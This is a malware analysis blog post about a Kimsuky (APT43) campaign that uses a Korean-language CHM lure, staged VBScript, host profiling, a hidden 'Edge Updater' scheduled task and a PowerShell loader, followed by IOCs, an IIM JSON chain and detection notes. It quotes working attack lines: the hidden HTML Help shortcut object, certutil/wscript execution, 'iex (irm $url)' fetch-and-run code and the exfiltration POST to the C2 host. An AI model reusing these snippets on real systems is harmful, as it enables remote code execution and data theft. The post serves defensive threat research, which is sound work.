
by Robin Dost
Actor tracking: APT43 (Kimsuky) / MB-0010
I can’t sleep right now, because it’s too hot in Germany, so i thought why not finishing an analysis i almost forgot about.
In this analysis i am using Malwarebox Tooling for most of my work.
Everything started with a suspicious CHM sample arriving in MANTIS.
SHA256: 0efbd18c77479b458078521c18bdad84852b71250122a17cb8105c10d3df38d4

Infection overview
The observed chain can be summarized as follows:
Review.chm
|_ HTML Help ActiveX shortcut
|_ powershell.exe -WindowStyle Hidden
|- writes Base64 data to Link.dat
|- certutil.exe decodes Link.dat → Link.ini
|_ wscript.exe executes Link.ini as VBScript
|_ GET bootservice.php?tag=<random>&query=1
|- profiles the host
|- enumerates processes and directories
|- POSTs the results to finalservice.php
|_ creates the hidden “Edge Updater” task
|_ wscript.exe executes OfficeUpdater_*.ini
|_ GET bootservice.php?tag=<random>&query=6
|_ cmd.exe
|_ powershell.exe
|_ GET checkservice.php?idx=5&tag=<random>
|- Invoke-Expression(response)
|_ LogAction -ur <C2 base URL>
No executable needs to be written to disk during this chain. The actor instead relies almost entirely on built-in Windows interpreters and COM objects.
A Korean-language decoy
At its core, a CHM file is a container of HTML, CSS, image, JavaScript/VBScript and control files.
Malware often uses it to launch additional processes via hh.exe, HTML Help ActiveX or embedded scripts.
We unpack the container with
7z x Review.chm

Let’s view the content of page_1.html

The CHM displays what appears to be editorial feedback on a Korean document discussing the right to food and the causes of the North Korean food crisis
The visible text comments on the structure of a manuscript, including sections covering:
- diversion of civilian resources to military spending
- degradation of agricultural production
- inequality in food distribution
- food culture and nutrition
- references to the International Covenant on Economic, Social and Cultural Rights
- references to provisions of the North Korean constitution
The document closes by addressing a researcher directly and thanking him for his work.
The decoy is written for a Korean-speaking audience familiar with legal, policy or human-rights material concerning North Korea.
That context may indicate the intended target profile, although the lure alone is not sufficient to identify the actual recipient.
The page title is:
목차를 매길 때
Roughly translated, it refers to arranging or numbering a table of contents.
While the victim reads the decoy, a hidden script constructs an HTML Help shortcut object.
Execution through HTML Help
The malicious HTML creates an object with the following class identifier:
CLSID:52a2aaae-085d-4187-97ea-8c30db990436

It configures the object with the ShortCut command and triggers it programmatically:
document.getElementById('start').innerHTML =
'<object id="shortcut1" ' +
'classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436">' +
'<param name="Command" value="ShortCut">' +
'<param name="Item1" value="...">' +
'</object>';
shortcut1.Click();
The command is “”obfuscated”” through string concatenation:
',power' + 'shell'
'-window' + 'style hid' + 'den'
Once reconstructed, it launches PowerShell with a hidden window.
The PowerShell command writes an embedded Base64 blob to:
%USERPROFILE%\Links\Link.dat
It then uses the legitimate Windows certificate utility to decode it:
certutil.exe -f -decode Link.dat Link.ini
Finally, it forces wscript.exe to interpret the resulting .ini file as VBScript:
wscript.exe //b //e:vbscript Link.ini
The .ini extension is therefore camouflage rather than an indication of the files actual format.
The initial VBScript downloader
The decoded VBScript is small:

The script generates a random value between 1 and 10.000 and places it in the tag parameter.
It sends a GET-request to the URL http://acnms.dmdoc.dynv6[.]net/smltm/bootservice.php.
The server response is then passed directly to VBScripts Execute function:
Execute(mx.responseText)
Nothing is validated and the response is not required to be stored as a conventional script file. The server therefore controls the next stage at execution time.
Let’s look at the C2 information
Domain: acnms.dmdoc.dynv6.net
IP: 118.194.249.91

The domain is hosted by a free DynDNS hosting service called “dynv6.com.”
The IP address is provided by ucloud.
When you visit the site, you’ll see the familiar Kimsuky welcome message.

Capturing the reconnaissance stage
During sandbox analysis, the following request returned a 6.338-byte VBScript payload:
GET /smltm/bootservice.php?tag=<random>&query=1
The server advertised the following stack:
Apache/2.4.58 (Win64)
OpenSSL/3.1.3
PHP/8.2.12
Server headers can be changed or spoofed, but the observed response indicates that the C2 was serving the PHP endpoints through an Apache installation on Windows.
The SHA-256 hash of the captured query=1 response was:
21781885f9d6ebc5f9e0f828aacbe3db2aaa1c142bda1495b17e723c9912f826

The returned script performs three primary actions:
System and environment discovery

Persistence through a scheduled task

Exfiltration of the collected inventory

System profiling
The BaseInfo function queries several WMI classes:
Win32_ComputerSystem
Win32_OperatingSystem
Win32_Processor
It collects:
Computer name
Registered owner
Manufacturer
Computer model
System type
Operating system caption
OS version
Build number
Visible memory
Processor description
Current processor clock speed
The resulting report begins with:
++++++++++++ Basic System ++++++++++++
This provides enough information for the operator to identify the system, estimate its age and capabilities, distinguish physical and virtual hardware and determine which follow-on payloads are likely to be compatible.
File and directory discovery
The misleadingly named DownloadDir function enumerates several Windows shell namespaces:
idx = Array(0, 5, 6, 8, 38, 42)
It also explicitly examines the Downloads folder through namespace 40.
The resulting collection covers locations corresponding to:
Desktop
Documents
Favorites
Recent items
Program Files
Program Files (x86)
Downloads
For each location, the malware records direct child directories and filenames.
It does not recursively collect file contents at this stage.
This is still valuable reconnaissance.
Filenames alone can reveal employers, projects, research topics, installed applications, document types and potentially high-value material for later collection.
The output is placed under:
++++++++++++ Specific Folder ++++++++++++
Process discovery
The script performs the following WMI query:
SELECT * FROM Win32_Process
For every running process it records:
Process name
Process ID
Session ID
The report labels this section:
++++++++++++ Process List ++++++++++++
Process enumeration gives the operator visibility into security products, browsers, VPN software, analysis tools and active user applications.
The payload also contains a function named VacQuery, which queries:
root\SecurityCenter2
AntiVirusProduct
It can retrieve antivirus product names, reporting paths, GUIDs and product-state values.
However, the function is not called in the captured version.
The final report is built only from:
raw_d = BaseInfo() & DownloadDir() & ProcList()
VacQuery() may be dead code, a feature used by another variant or an implementation oversight.
Encoding and exfiltration
Before transmission, the collected text is converted to UTF-8 through ADODB.Stream and Base64-encoded with an MSXML DOM element using the bin.base64 data type.
The encoded inventory is then uploaded as a file named:
Info.txt
The destination is:
hxxp://acnms[.]dmdoc[.]dynv6[.]net/smltm/finalservice.php
The request is a multipart form submission with a fixed boundary:
----c2xkanZvaXU4OTA
Its structure is approximately:
POST /smltm/finalservice.php HTTP/1.1
Host: acnms[.]dmdoc[.]dynv6[.]net
Content-Type: multipart/form-data; boundary=----c2xkanZvaXU4OTA
------c2xkanZvaXU4OTA
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1000000
------c2xkanZvaXU4OTA
Content-Disposition: form-data; name="file"; filename="Info.txt"
Content-Type: text/plain
<BASE64-ENCODED SYSTEM INVENTORY>
------c2xkanZvaXU4OTA--
The server returned:
HTTP/1.1 200 OK
Content-Length: 0
A body is not required for the malware to continue.
Establishing persistence
The reconnaissance stage writes another VBScript into shell namespace 32, corresponding to the users Internet cache.
The filename follows this format:
OfficeUpdater_<minute>_<hour>_<day><month>.ini
An example could look like:
OfficeUpdater_7_11_226.ini
Once again, the .ini extension is deceptive.
The file is executable VBScript.
The script then creates a scheduled task named:
Edge Updater
Its properties include:
Author: System
Hidden: True
Enabled: True
StartWhenAvailable: True
Initial trigger: five minutes after creation
Repetition interval: PT60M
PT60M causes the action to repeat every 60 minutes.
The action launches:
wscript.exe //b //e:vbscript <OfficeUpdater path>
The /b flag suppresses alerts and prompts, while /e:vbscript forces the script engine regardless of the .ini extension.
One implementation detail may reduce reliability: the script path is not surrounded by quotes. A path containing spaces could therefore cause execution problems depending on the resolved cache location.
Browser-related registry changes
The script also changes three values under the current user hive:
HKCU\Software\Microsoft\Internet Explorer\Main
Check_Associations = "no"
DisableFirstRunCustomize = 1
HKCU\Software\Microsoft\Edge\IEToEdge
RedirectionMode = 0
These settings suppress parts of Internet Explorers first-run and association behavior and disable IE-to-Edge redirection.
The exact operational reason is not visible in the captured stages. The changes may be intended to reduce prompts, preserve legacy browser behavior or support a later component that depends on Internet Explorer-related functionality.
The persistent loader
Each time the scheduled task runs, the OfficeUpdater script sleeps for a random period between 6,000 and 12,000 milliseconds.
The same delay value is used as the request tag:
randomWait = Int((12000 - 6000 + 1) * Rnd + 6000)
WScript.Sleep randomWait
mx.open "GET", _
"hxxp://acnms[.]dmdoc[.]dynv6[.]net/smltm/" & _
"bootservice.php?tag=" & randomWait & "&query=6", _
False
The returned text is once again passed directly to Execute.
During analysis, query=6 returned a 428 byte VBScript payload.
Its SHA-256 hash is:
962e7a2a0b6ea9926f2198db06aa1d67326a75de7168400f8863fe7a23e51ef8
Pivoting from VBScript to PowerShell
The query=6 response contains a helper that launches commands through WScript.Shell:
Sub ProcessCall(p_cmd)
Dim WshShell
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run p_cmd, 0, False
End Sub
The second argument to Run is zero, hiding the process window.
The third argument is False, meaning the script does not wait for the command to finish.
The constructed command is:
$base_url = 'hxxp://acnms[.]dmdoc[.]dynv6[.]net/smltm'
$rnd_num = [System.Random]::new().Next(1,10001)
$url = [Uri]::UnescapeDataString(
$base_url + '/checkservice.php?idx=5%26tag=' + $rnd_num
)
iex (irm $url)
LogAction -ur $base_url
The %26 sequence is decoded to &, producing the actual request:
GET /smltm/checkservice.php?idx=5&tag=<random>
The aliases resolve to:
irm -> Invoke-RestMethod
iex -> Invoke-Expression
The server response is therefore executed directly inside the PowerShell process.
The subsequent call:
LogAction -ur $base_url
is significant because LogAction is not a built-in PowerShell function.
The expected response from checkservice.php must define LogAction, after which the launcher calls it with the C2 base URL.
The final component is therefore likely structured as a remotely loaded PowerShell module or function body.
Selective payload delivery
The reconstructed request sequence was replayed during analysis.
The observed responses were:
bootservice.php?query=1
HTTP 200
6,338 bytes
finalservice.php
HTTP 200
0 bytes
bootservice.php?query=6
HTTP 200
428 bytes
checkservice.php?idx=5
HTTP 200
0 bytes
The final endpoint did not return an error, redirect or unavailable status. It returned a valid response with:
HTTP/1.1 200 OK
Content-Length: 0
No Set-Cookie header was observed during the captured sequence.
This matters because the individual stages use different clients:
Microsoft.XMLHTTP under wscript.exe
Microsoft.XMLHTTP under wscript.exe
Invoke-RestMethod under powershell.exe
A browser-style cookie session would not automatically carry across those execution contexts.
If the server tracks victims, it is more likely to use properties such as:
- source IP address
- request timing
- previously uploaded inventory
- HTTP client or User-Agent
- tag values
- campaign state
- allowlists or denylists
- geographic or network origin
- manual operator approval
The current evidence does not identify which condition was responsible.
Additional country-routed sandboxing requests did not recover the expected PowerShell payload (more details on this below).
One route returned a non-empty HTML page containing a generic client-side password-validation example.
It did not define LogAction and was not the expected malicious stage.
That result is not sufficient to claim geographic gating.
It could represent unrelated content, proxy interference, virtual-host behavior or a defensive response.
The defensible conclusion is narrower: checkservice.php implements or was operating as, a selectively responding endpoint.
The reconnaissance and loader stages remained publicly retrievable, while the final operational payload was withheld from the analyzed environment.
Why split the chain this way?
The design creates several advantages for the operator.
First, only a small bootstrap is embedded in the CHM. The actor can replace later stages without rebuilding or redistributing the original lure.
Second, the reconnaissance stage gives the server information about the compromised machine before the final payload is delivered.
Third, the operator can expose low-value scripts to automated analysis while protecting the final capability. Sandboxes may retrieve the system profiler and scheduled-task loader but receive an empty response at the last step.
Finally, direct use of Execute and Invoke-Expression minimizes the number of obvious payload files left on disk.
The separation is therefore operationally meaningful:
query=1 -> qualify and profile the victim
finalservice.php -> receive the host inventory
query=6 -> launch the PowerShell handoff
checkservice.php -> selectively deliver the final capability
A few days after the first analysis
A few days after my initial analysis, I ran the sample through my MANTIS sandbox again and came across a few strange things.
During my first analysis, everything went smoothly, I didn’t need to use any proxy networks or similar tools to perform a successful sandboxing.
However, when I tested it again, some requests were only partially successful.
So I thought, why not just run the sandbox again, but this time try using different proxies?
Out of over 130 different country-specific proxies, only one of my proxy networks produced a result, namely, my default data center fallback proxy, which I had forgotten to remove from the selection.
I’ve confirmed this behavior multiple times and still have no explanation as to why only this one IP was allowed through.
Now for the strange result:
The page returned a password validation form to me.

No idea what this is all about, maybe just a little trolling ^^
But: I was absolutely sure I’d seen this shape before and I remembered where it’s from.
Namely, from this tutorial: https://www.w3schools.com/HOWTO/tryit.asp?filename=tryhow_js_password_val

By the way, there’s something else interesting about the whole site, namely, the sites light green “N” favicon:

I’ve seen this before in other Kimsuky operations, some of which were quite a while ago.
The SHA256 hash of the favicon is 26ba5b01f614a215b948a5700338575412dcff2df972b7696b2c8c3f3b74a723
What I find a bit strange:
WHOIS queries show that Kimsukys current infrastructure is primarily hosted on ucloud, but the favicon matches the one used by the hosting provider navercloudcorp.com.
The good thing about this is that we can use this and Kimsukys welcome message to continue tracking Kimsukys infrastructure:




Within 5 minutes, I found 3 more web servers that very likely belong to Kimsuky and are therefore currently active in their campaign:
| IP | Domain |
| 51.79.185.184 | aointerviews.com |
| 176.111.220.168 | |
| 152.32.138.15 |
IIM Chain
Here’s the related IIM Chain for this attack
You can view it in the IIM Workbench if you want to inspect it further
Click to View Chain
{
"iim_version": "1.1",
"chain_id": "synapticsystems.2026.kimsuky-review-chm-selective-delivery",
"title": "Kimsuky Review.chm to staged VBScript reconnaissance and selective PowerShell payload delivery",
"description": "Original malware-analysis chain for a Korean-language Review.chm lure. The CHM uses HTML Help shortcut execution to create and run a VBScript bootstrap, retrieves a query=1 reconnaissance and persistence stage from a DynV6-hosted PHP endpoint, uploads Base64-encoded host inventory to finalservice.php, installs an hourly OfficeUpdater_*.ini loader through the hidden Edge Updater scheduled task and retrieves a query=6 VBScript handoff. That handoff launches hidden PowerShell, requests checkservice.php?idx=5, executes the response in memory and expects it to define LogAction. During controlled replay, checkservice.php returned HTTP 200 with a zero-byte body, so the final PowerShell payload remained withheld.",
"actor_id": "APT43",
"observed_at": "2026-06-22T09:56:08Z",
"confidence": "confirmed",
"needs_review": true,
"import_source": "manual-malware-analysis-and-controlled-c2-replay-to-iim",
"x_attribution": {
"actor": "Kimsuky",
"aliases": [
"APT43",
"Emerald Sleet",
"Velvet Chollima"
],
"confidence": "likely",
"basis": "The chain is treated as Kimsuky-linked in the accompanying Synaptic Systems research. The IIM object preserves that attribution as an external analytical judgement rather than using infrastructure structure alone as attribution evidence.",
"caveat": "Add the campaign-specific code, sample, infrastructure or provenance overlap used for attribution before publishing the chain as confirmed attribution."
},
"x_source": {
"title": "Inside Kimsuky’s CHM Tradecraft: Multi-Stage Execution and Selective Payload Delivery",
"publisher": "Synaptic Systems",
"source_type": "original malware analysis and controlled C2 replay",
"analysis_date": "2026-06-27",
"capture_date": "2026-06-22"
},
"x_capture": {
"server_banner": "Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12",
"requests": [
{
"stage": "query1",
"timestamp": "2026-06-22T09:56:08Z",
"request": "GET /smltm/bootservice.php?tag=<1-10000>&query=1",
"status": 200,
"content_length": 6338,
"content_type": "text/plain; charset=UTF-8",
"sha256": "21781885f9d6ebc5f9e0f828aacbe3db2aaa1c142bda1495b17e723c9912f826"
},
{
"stage": "inventory_exfiltration",
"timestamp": "2026-06-22T09:56:11Z",
"request": "POST /smltm/finalservice.php",
"status": 200,
"content_length": 0,
"content_type": "text/html; charset=UTF-8"
},
{
"stage": "query6",
"timestamp": "2026-06-22T09:56:17Z",
"request": "GET /smltm/bootservice.php?tag=<6000-12000>&query=6",
"status": 200,
"content_length": 428,
"content_type": "text/plain; charset=UTF-8",
"sha256": "962e7a2a0b6ea9926f2198db06aa1d67326a75de7168400f8863fe7a23e51ef8"
},
{
"stage": "selective_final_delivery",
"timestamp": "2026-06-22T09:56:26Z",
"request": "GET /smltm/checkservice.php?idx=5&tag=<1-10000>",
"status": 200,
"content_length": 0,
"content_type": "text/html; charset=UTF-8",
"sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
}
]
},
"x_iocs": {
"domain": [
"acnms.dmdoc.dynv6.net"
],
"urls": [
"http://acnms.dmdoc.dynv6.net/smltm/bootservice.php?tag=<1-10000>&query=1",
"http://acnms.dmdoc.dynv6.net/smltm/finalservice.php",
"http://acnms.dmdoc.dynv6.net/smltm/bootservice.php?tag=<6000-12000>&query=6",
"http://acnms.dmdoc.dynv6.net/smltm/checkservice.php?idx=5&tag=<1-10000>"
],
"files": [
"Review.chm",
"%USERPROFILE%\\Links\\Link.dat",
"%USERPROFILE%\\Links\\Link.ini",
"OfficeUpdater_<minute>_<hour>_<day><month>.ini",
"Info.txt"
],
"scheduled_tasks": [
"Edge Updater"
],
"multipart": {
"filename": "Info.txt",
"boundary": "----c2xkanZvaXU4OTA",
"max_file_size": "1000000"
},
"registry": [
"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Check_Associations",
"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\DisableFirstRunCustomize",
"HKCU\\Software\\Microsoft\\Edge\\IEToEdge\\RedirectionMode"
]
},
"x_limitations": [
"The SHA-256 hash of the original Review.chm sample was not available in the supplied material.",
"The final checkservice.php response was empty during controlled replay; the expected LogAction implementation is modeled as a placeholder and not as an observed payload.",
"IIM-T017 is assigned with likely confidence because the terminal endpoint selectively returned no payload after the reconstructed sequence. The exact server-side gate was not identified.",
"IIM-T019, IIM-T020, IIM-T021 and IIM-T022 are not asserted because geofencing, client filtering, request fingerprinting and time-window gating were considered but not demonstrated.",
"No DNS-resolution or hosting-IP entity is included because the supplied evidence did not establish a stable address suitable for this observation."
],
"entities": [
{
"id": "e001",
"type": "file",
"value": "Review.chm",
"observed_at": "2026-06-22T09:56:08Z",
"source": "Synaptic Systems malware analysis",
"evidence": [
"Korean-language compiled HTML Help lure containing a hidden HTML Help shortcut object.",
"The embedded command launches hidden PowerShell, writes Link.dat, decodes Link.ini with certutil and executes Link.ini as VBScript."
],
"x_chain_stage": "chm_entry",
"x_format": "MS Windows HtmlHelp Data",
"x_decoy_topic": "Editorial feedback concerning North Korean food-crisis and right-to-food material"
},
{
"id": "e002",
"type": "file",
"value": "%USERPROFILE%\\Links\\Link.ini",
"observed_at": "2026-06-22T09:56:08Z",
"source": "Decoded Review.chm content",
"evidence": [
"Created by certutil.exe -f -decode from the embedded Base64 Link.dat content.",
"Executed with wscript.exe //b //e:vbscript despite the .ini extension.",
"Requests bootservice.php with query=1 and executes mx.responseText."
],
"x_chain_stage": "initial_vbscript_bootstrap",
"x_disguised_extension": true
},
{
"id": "e003",
"type": "url",
"value": "http://acnms.dmdoc.dynv6.net/smltm/bootservice.php?tag=<1-10000>&query=1",
"observed_at": "2026-06-22T09:56:08Z",
"source": "Controlled C2 replay",
"evidence": [
"The Link.ini bootstrap generates a random integer from 1 through 10000 and performs a synchronous Microsoft.XMLHTTP GET.",
"The endpoint returned HTTP 200 and a 6338-byte VBScript response."
],
"x_chain_stage": "reconnaissance_stage_delivery",
"x_http_status": 200,
"x_content_length": 6338
},
{
"id": "e004",
"type": "hash",
"value": "21781885f9d6ebc5f9e0f828aacbe3db2aaa1c142bda1495b17e723c9912f826",
"observed_at": "2026-06-22T09:56:08Z",
"source": "Captured query=1 response",
"evidence": [
"SHA-256 of the 6338-byte VBScript returned by bootservice.php?query=1.",
"The script profiles Win32_ComputerSystem, Win32_OperatingSystem, Win32_Processor, selected directories and Win32_Process.",
"It creates OfficeUpdater_*.ini, registers the hidden hourly Edge Updater task, modifies IE/Edge-related registry values and uploads Base64 inventory."
],
"x_chain_stage": "reconnaissance_persistence_exfiltration_payload",
"x_artifact_name": "bootservice-query1.vbs",
"x_size": 6338
},
{
"id": "e005",
"type": "url",
"value": "http://acnms.dmdoc.dynv6.net/smltm/finalservice.php",
"observed_at": "2026-06-22T09:56:11Z",
"source": "Controlled C2 replay and query=1 script",
"evidence": [
"Receives a multipart/form-data POST containing Base64-encoded host inventory as Info.txt.",
"The request uses the fixed boundary ----c2xkanZvaXU4OTA.",
"The replayed endpoint returned HTTP 200 with Content-Length 0."
],
"x_chain_stage": "inventory_exfiltration_c2",
"x_http_status": 200,
"x_content_length": 0
},
{
"id": "e006",
"type": "file",
"value": "OfficeUpdater_<minute>_<hour>_<day><month>.ini",
"observed_at": "2026-06-22T09:56:08Z",
"source": "Captured query=1 response",
"evidence": [
"Written to Shell.Application namespace 32 and registered under the hidden scheduled task Edge Updater.",
"Executed by wscript.exe //b //e:vbscript five minutes after registration and then at PT60M intervals.",
"Sleeps for 6000 through 12000 milliseconds before requesting bootservice.php?query=6."
],
"x_chain_stage": "persistent_vbscript_loader",
"x_scheduled_task": "Edge Updater",
"x_repetition_interval": "PT60M",
"x_disguised_extension": true
},
{
"id": "e007",
"type": "url",
"value": "http://acnms.dmdoc.dynv6.net/smltm/bootservice.php?tag=<6000-12000>&query=6",
"observed_at": "2026-06-22T09:56:17Z",
"source": "Controlled C2 replay",
"evidence": [
"The persistent OfficeUpdater loader reuses its 6000-through-12000 millisecond sleep value as the tag parameter.",
"The endpoint returned HTTP 200 and a 428-byte VBScript response."
],
"x_chain_stage": "powershell_handoff_delivery",
"x_http_status": 200,
"x_content_length": 428
},
{
"id": "e008",
"type": "hash",
"value": "962e7a2a0b6ea9926f2198db06aa1d67326a75de7168400f8863fe7a23e51ef8",
"observed_at": "2026-06-22T09:56:17Z",
"source": "Captured query=6 response",
"evidence": [
"SHA-256 of the 428-byte VBScript returned by bootservice.php?query=6.",
"The script launches cmd.exe and hidden PowerShell through WScript.Shell.Run.",
"PowerShell requests checkservice.php?idx=5, invokes the response with iex and then calls LogAction -ur with the C2 base URL."
],
"x_chain_stage": "vbscript_to_powershell_handoff",
"x_artifact_name": "bootservice-query6.vbs",
"x_size": 428
},
{
"id": "e009",
"type": "url",
"value": "http://acnms.dmdoc.dynv6.net/smltm/checkservice.php?idx=5&tag=<1-10000>",
"observed_at": "2026-06-22T09:56:26Z",
"source": "Controlled C2 replay and captured query=6 response",
"evidence": [
"The query=6 stage decodes %26 to an ampersand, producing idx=5&tag=<random>.",
"The response is expected to be executed by Invoke-Expression and to define a LogAction function.",
"During replay the endpoint returned HTTP 200 with Content-Length 0 and no final PowerShell body."
],
"x_chain_stage": "selective_final_payload_endpoint",
"x_http_status": 200,
"x_content_length": 0,
"x_empty_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
},
{
"id": "e010",
"type": "file",
"value": "<withheld PowerShell payload defining LogAction>",
"source": "Inferred from captured query=6 launcher",
"evidence": [
"The launcher executes the checkservice.php response in the current PowerShell context and immediately invokes LogAction -ur $base_url.",
"No implementation was returned to the analyzed environment."
],
"x_chain_stage": "unobserved_final_payload",
"x_placeholder": true,
"x_observation_status": "expected-but-withheld"
}
],
"chain": [
{
"entity_id": "e001",
"role": "entry",
"techniques": [],
"role_confidence": "confirmed",
"technique_confidence": "confirmed",
"needs_review": false,
"review_notes": "User-facing CHM lure and initial execution point. CHM execution is represented in ATT&CK rather than as an IIM infrastructure technique."
},
{
"entity_id": "e002",
"role": "staging",
"techniques": [],
"role_confidence": "confirmed",
"technique_confidence": "confirmed",
"needs_review": false,
"review_notes": "Local bootstrap artifact that transports execution from the CHM to the first remote stage."
},
{
"entity_id": "e003",
"role": "staging",
"techniques": [
"IIM-T008"
],
"role_confidence": "confirmed",
"technique_confidence": "confirmed",
"needs_review": false,
"review_notes": "Remote script-delivery endpoint hosted below the DynV6 dynamic-DNS namespace."
},
{
"entity_id": "e004",
"role": "payload",
"techniques": [],
"role_confidence": "confirmed",
"technique_confidence": "confirmed",
"needs_review": false,
"review_notes": "Operational reconnaissance, persistence and exfiltration payload."
},
{
"entity_id": "e005",
"role": "c2",
"techniques": [
"IIM-T008"
],
"role_confidence": "confirmed",
"technique_confidence": "confirmed",
"needs_review": false,
"review_notes": "Host-inventory collection endpoint on the same DynV6-backed infrastructure."
},
{
"entity_id": "e006",
"role": "staging",
"techniques": [],
"role_confidence": "confirmed",
"technique_confidence": "confirmed",
"needs_review": false,
"review_notes": "Persistent local loader that periodically resumes the remote delivery chain."
},
{
"entity_id": "e007",
"role": "staging",
"techniques": [
"IIM-T008"
],
"role_confidence": "confirmed",
"technique_confidence": "confirmed",
"needs_review": false,
"review_notes": "Second remote script-delivery endpoint hosted below the DynV6 dynamic-DNS namespace."
},
{
"entity_id": "e008",
"role": "staging",
"techniques": [],
"role_confidence": "confirmed",
"technique_confidence": "confirmed",
"needs_review": false,
"review_notes": "VBScript handoff that transitions execution into PowerShell and references the final endpoint."
},
{
"entity_id": "e009",
"role": "c2",
"techniques": [
"IIM-T008",
"IIM-T017"
],
"role_confidence": "confirmed",
"technique_confidence": "likely",
"needs_review": true,
"review_notes": "The endpoint is confirmed as the expected final code-delivery/C2 location. IIM-T017 is likely rather than confirmed because replay produced HTTP 200 with an empty body, but the exact gating decision was not identified.",
"x_candidate_techniques_not_asserted": [
"IIM-T019",
"IIM-T020",
"IIM-T021",
"IIM-T022"
]
},
{
"entity_id": "e010",
"role": "payload",
"techniques": [],
"role_confidence": "likely",
"technique_confidence": "tentative",
"needs_review": true,
"review_notes": "Placeholder required to preserve the launcher’s observed expectation. The payload body and its capabilities were not recovered."
}
],
"relations": [
{
"from": "e001",
"to": "e002",
"type": "drops",
"sequence_order": 1,
"observed_at": "2026-06-22T09:56:08Z",
"confidence": "confirmed",
"x_evidence": [
"The CHM-launched PowerShell writes Base64 data, decodes it to Link.ini and leaves the VBScript artifact on disk."
]
},
{
"from": "e001",
"to": "e002",
"type": "execute",
"sequence_order": 2,
"observed_at": "2026-06-22T09:56:08Z",
"confidence": "confirmed",
"x_evidence": [
"The CHM command executes Link.ini through wscript.exe //b //e:vbscript."
]
},
{
"from": "e002",
"to": "e003",
"type": "connect",
"sequence_order": 3,
"observed_at": "2026-06-22T09:56:08Z",
"confidence": "confirmed",
"x_evidence": [
"Link.ini performs a synchronous Microsoft.XMLHTTP GET to bootservice.php?query=1."
]
},
{
"from": "e003",
"to": "e004",
"type": "download",
"sequence_order": 4,
"observed_at": "2026-06-22T09:56:08Z",
"confidence": "confirmed",
"x_evidence": [
"The endpoint returned the captured 6338-byte VBScript and the bootstrap executed responseText."
]
},
{
"from": "e004",
"to": "e006",
"type": "drops",
"sequence_order": 5,
"observed_at": "2026-06-22T09:56:08Z",
"confidence": "confirmed",
"x_evidence": [
"The query=1 payload writes OfficeUpdater_*.ini to shell namespace 32."
]
},
{
"from": "e004",
"to": "e005",
"type": "communicates-with",
"sequence_order": 6,
"observed_at": "2026-06-22T09:56:11Z",
"confidence": "confirmed",
"x_evidence": [
"The query=1 payload uploads the Base64 inventory as Info.txt to finalservice.php."
]
},
{
"from": "e004",
"to": "e006",
"type": "execute",
"sequence_order": 7,
"confidence": "confirmed",
"x_evidence": [
"The query=1 payload registers OfficeUpdater_*.ini as the action of the hidden Edge Updater scheduled task."
]
},
{
"from": "e006",
"to": "e007",
"type": "connect",
"sequence_order": 8,
"observed_at": "2026-06-22T09:56:17Z",
"confidence": "confirmed",
"x_evidence": [
"The persistent loader requests bootservice.php?query=6 after its random sleep."
]
},
{
"from": "e007",
"to": "e008",
"type": "download",
"sequence_order": 9,
"observed_at": "2026-06-22T09:56:17Z",
"confidence": "confirmed",
"x_evidence": [
"The endpoint returned the captured 428-byte VBScript response."
]
},
{
"from": "e006",
"to": "e008",
"type": "execute",
"sequence_order": 10,
"observed_at": "2026-06-22T09:56:17Z",
"confidence": "confirmed",
"x_evidence": [
"OfficeUpdater invokes Execute(mx.responseText) on the query=6 response."
]
},
{
"from": "e008",
"to": "e009",
"type": "connect",
"sequence_order": 11,
"observed_at": "2026-06-22T09:56:26Z",
"confidence": "confirmed",
"x_evidence": [
"The query=6 response launches PowerShell, which uses Invoke-RestMethod to request checkservice.php?idx=5."
]
},
{
"from": "e009",
"to": "e010",
"type": "download",
"sequence_order": 12,
"observed_at": "2026-06-22T09:56:26Z",
"confidence": "tentative",
"x_evidence": [
"The launcher expects executable PowerShell defining LogAction, but the replayed response body was empty."
]
}
],
"attack_annotations": [
{
"technique_id": "T1218.001",
"name": "System Binary Proxy Execution: Compiled HTML File",
"tactic": "Defense Evasion",
"comment": "Review.chm uses Windows HTML Help shortcut execution to launch the bootstrap."
},
{
"technique_id": "T1059.005",
"name": "Command and Scripting Interpreter: Visual Basic",
"tactic": "Execution",
"comment": "The bootstrap, reconnaissance stage, persistent loader and PowerShell handoff are VBScript."
},
{
"technique_id": "T1059.001",
"name": "Command and Scripting Interpreter: PowerShell",
"tactic": "Execution",
"comment": "Hidden PowerShell decodes the bootstrap and later retrieves and executes the expected final stage."
},
{
"technique_id": "T1140",
"name": "Deobfuscate/Decode Files or Information",
"tactic": "Defense Evasion",
"comment": "certutil decodes embedded Base64 into Link.ini; later stages also use Base64 for collected data."
},
{
"technique_id": "T1105",
"name": "Ingress Tool Transfer",
"tactic": "Command and Control",
"comment": "VBScript and PowerShell retrieve additional code from bootservice.php and checkservice.php."
},
{
"technique_id": "T1082",
"name": "System Information Discovery",
"tactic": "Discovery",
"comment": "The query=1 payload collects computer, OS, memory, manufacturer, model and processor information."
},
{
"technique_id": "T1083",
"name": "File and Directory Discovery",
"tactic": "Discovery",
"comment": "The payload lists selected user and Program Files directories."
},
{
"technique_id": "T1057",
"name": "Process Discovery",
"tactic": "Discovery",
"comment": "The payload queries Win32_Process and records process names, PIDs and session IDs."
},
{
"technique_id": "T1053.005",
"name": "Scheduled Task/Job: Scheduled Task",
"tactic": "Persistence",
"comment": "The hidden Edge Updater task launches OfficeUpdater_*.ini and repeats every 60 minutes."
},
{
"technique_id": "T1112",
"name": "Modify Registry",
"tactic": "Defense Evasion",
"comment": "The query=1 payload changes IE first-run/association values and Edge IEToEdge RedirectionMode."
},
{
"technique_id": "T1041",
"name": "Exfiltration Over C2 Channel",
"tactic": "Exfiltration",
"comment": "Base64-encoded system inventory is uploaded to finalservice.php as Info.txt."
},
{
"technique_id": "T1071.001",
"name": "Application Layer Protocol: Web Protocols",
"tactic": "Command and Control",
"comment": "All observed stage delivery and inventory transfer uses HTTP."
}
]
}
Detection opportunities
The chain creates a distinctive set of behavioral relationships.
Suspicious process ancestry
hh.exe
|_ powershell.exe
|- certutil.exe
|_ wscript.exe
Later:
taskeng.exe / svchost.exe
|_ wscript.exe
|_ cmd.exe
|_ powershell.exe
High-value detections include:
